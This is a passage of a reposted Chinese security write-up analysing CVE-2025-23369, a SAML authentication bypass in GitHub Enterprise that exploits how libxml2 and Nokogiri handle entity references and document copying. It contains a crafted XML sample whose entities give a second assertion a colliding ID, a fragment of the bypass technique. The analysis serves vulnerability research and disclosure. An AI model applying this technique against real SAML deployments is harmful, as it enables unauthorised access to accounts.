散列函数跳过实体引用节点(XML_ENTITY_REF_NODE )并返回 0 ,因此虽然内容匹配,但比较失败(如果 使用XML_PARSE_NOENT则不会发生这种情况,因为实体将在解析阶段被替换,并且不会有引用)

滥用 libxml2 特性绕过 GitHub Enterprise 上的 SAML 身份验证 (CVE-2025-23369)

接下来,为什么它会选择第二个断言,尽管它的 ID 前面有一个 A。实际上,使用下面的 XML 文档运行 C 代码时,将找不到断言,因为 C 代码与 Ruby 代码不同,在对文档运行 XPath 之前不会复制文档(请参阅 #referenced_node)。我花了一些时间才弄明白,因为我认为#dup 调用是一个看似无害的函数调用,不会影响结果。

<?xml version="1.0"?>
<!DOCTYPE note [ <!ENTITY idViaEntity "_129"> <!ENTITY BypassIDUniqness "&#x41;"> ]>
<samlp:Response ID="&idViaEntity;">
  <saml:Assertion ID="&BypassIDUniqness;_129">http://idp.example.com/metadata.php</saml:Assertion>
</samlp:Response>

滥用 libxml2 特性绕过 GitHub Enterprise 上的 SAML 身份验证 (CVE-2025-23369)

用 xmlXPathNewContext (xmlCopyDoc(doc, 1))替换 xmlXPathNewContext( doc)以匹配 Nokogiri  #dup调用,将使断言在结果中再次弹出。

滥用 libxml2 特性绕过 GitHub Enterprise 上的 SAML 身份验证 (CVE-2025-23369)

由于注入元素的ID属性值有next,并且是实体(_129)旁边的文本,因此哈希函数会跳过实体引用并计算文本(_129)的哈希值,从而使哈希值相等。

滥用 libxml2 特性绕过 GitHub Enterprise 上的 SAML 身份验证 (CVE-2025-23369)

至于为什么内容不是“A_129”,这是因为 xmlNodeGetContent 期望属性引用具有一定的结构(XML_ENTITY_REF_NODE -children-> XML_ENTITY_DECL  -children->  XML_TEXT_NODE),但作为复制文档的一部分,在复制实体时,其 XML_TEXT_NODE 子节点不会被复制,请参阅 xmlCopyEntity。 

滥用 libxml2 特性绕过 GitHub Enterprise 上的 SAML 身份验证 (CVE-2025-23369)

滥用 libxml2 特性绕过 GitHub Enterprise 上的 SAML 身份验证 (CVE-2025-23369)

滥用 libxml2 特性绕过 GitHub Enterprise 上的 SAML 身份验证 (CVE-2025-23369)

现在很清楚为什么模式验证看到某些内容而 XPath 看到其他内容,模式验证在文档上运行,而 XPath 在变异的重复文档上运行。

结论

虽然我非常喜欢通过源代码审查进行审计,但这一发现提醒我们,动态测试和模糊测试对于发现代码假设不成立的边缘情况至关重要。

原文始发于微信公众号(Ots安全):滥用 libxml2 特性绕过 GitHub Enterprise 上的 SAML 身份验证 (CVE-2025-23369)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月10日16:13:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   滥用 libxml2 特性绕过 GitHub Enterprise 上的 SAML 身份验证 (CVE-2025-23369)https://cn-sec.com/archives/3722623.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息